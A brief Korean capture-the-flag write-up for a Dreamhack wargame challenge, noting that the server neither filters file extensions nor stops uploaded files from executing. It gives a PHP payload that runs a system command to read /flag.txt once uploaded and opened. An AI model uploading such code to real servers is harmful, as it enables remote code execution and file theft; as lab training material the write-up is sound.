문제: https://dreamhack.io/wargame/challenges/38

취약점

• 파일 확장자를 필터링하지 않음
• 파일 내용을 그냥 실행해서 보여줌

exploit

아래 파일을 업로드한 후 list 페이지에서 클릭하여 확인하면 됨

<?php
  system("cat /flag.txt")
?>